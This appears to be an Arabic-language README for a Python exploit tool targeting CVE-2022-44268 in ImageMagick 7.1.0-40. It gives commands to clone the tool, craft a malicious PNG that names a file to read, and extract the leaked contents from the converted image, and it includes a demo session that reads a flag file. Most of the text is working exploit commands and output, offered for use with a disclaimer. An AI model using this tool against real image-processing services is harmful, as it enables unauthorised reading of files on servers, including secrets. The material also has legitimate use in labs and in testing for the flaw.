
مولّد ومستخرج لحمولة CVE-2022-44268 مكتوب بلغة Python.
الفضل يعود إلى الباحثين الذين اكتشفوا هذا:
أنشئ PNG خبيثًا لاستغلال ImageMagick 7.1.0-40:
إخلاء مسؤولية: مؤلف هذا المشروع غير مسؤول عن أي ضرر محتمل ناتج عن مواد هذا المشروع.
pip install Pillow)إنشاء PNG باستخدام craft.py:
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file
استخراج البيانات باستخدام extract.py:
python3 extract.py exfil.png
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC
anon@computer:~/code/cve-2022-44268$